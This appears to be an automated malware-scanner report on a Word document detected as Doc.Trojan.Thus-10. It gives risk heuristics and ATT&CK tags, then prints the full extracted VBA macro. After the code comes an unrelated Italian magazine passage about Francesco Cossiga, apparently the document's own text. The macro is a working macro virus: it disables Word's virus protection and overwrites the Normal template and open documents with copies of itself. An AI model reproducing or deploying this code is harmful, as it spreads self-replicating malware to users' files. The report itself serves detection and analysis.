MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a high-severity 'Document_Open' macro and critical ClamAV detections indicating it is malicious. The VBA script attempts to infect the NormalTemplate and other open documents, a common technique for establishing persistence or distributing further malware. The macro's behavior suggests it is part of a downloader or dropper mechanism.
Heuristics 3
-
ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-10
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17033 bytes |
SHA-256: a18f7f39fc06b1abdb74803d944ae92d76d1a61c027d3a04c4b153e8854a9393 |
|||
|
Detection
ClamAV:
Doc.Trojan.Thus-10
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
Set prevDocument = ActiveDocument
Set nextDocument = NormalTemplate
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
End Sub
corso della sua lunga degenza all’ospedale pubblico di Varese, capi di partito, grand commis dello Stato e noti padroni delle ferriere, siano venuti a rendergli omaggio e, come sempre capita con Cossiga, a chiedere consiglio circa un affare politico (o un affare tout court).
“Ma dove ti ho già visto?”. Improbabile. E invece ha ragione la memoria di zio Francesco. E torna alla mente Il Sabato, la casa del Presidente lì dietro l’angolo, una visita in redazione, un suo estremo tentativo di salvare la testata dalla chiusura. E comunque il senatore Cossiga ci è famigliare fin da quando era ministro degli Interni. Epoca di anni di piombo, terrorismo, sequestro Moro. Stagione grama anche per i ciellini, che dagli inizi alla fine degli anni ‘70 furono direttamente attaccati nelle scuole, nelle università, e pure nelle loro sedi, tant’è che un centinaio di volte vennero messe a soqquadro, in qualche caso finirono in fumo (e non per autocombustione). “Avete attraversato momenti così critici che ancora oggi non posso rivelare né in quali circostanze, né chi, dei vostri, ha corso molto seri pericoli”. Squillano i cellulari e Francesco Cossiga ha parole ben informate e pertinenti per tutti i casi. La telefonata più lunga è con Giuliano Amato, al quale il balente sardo dispensa consigli (uno
è faceto: “convoca gli ambasciatori e annuncia che ordinerai il bombardamento della costa meridonale di Valona da parte della marina militare. Un lavoretto pulito, vedrai che prendi più voti”). Tra qualche giorno Cossiga salperà per un periplo settembrino della Corsica a bordo di un 50 metri di un amico non proprio proletario. Si gode la vita, il Presidente, con tutta la libertà e la letizia che gli si legge sul suo bel volto di vecchio in pace con la vita. Ma non fraintendete: Cossiga non ha alcun
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.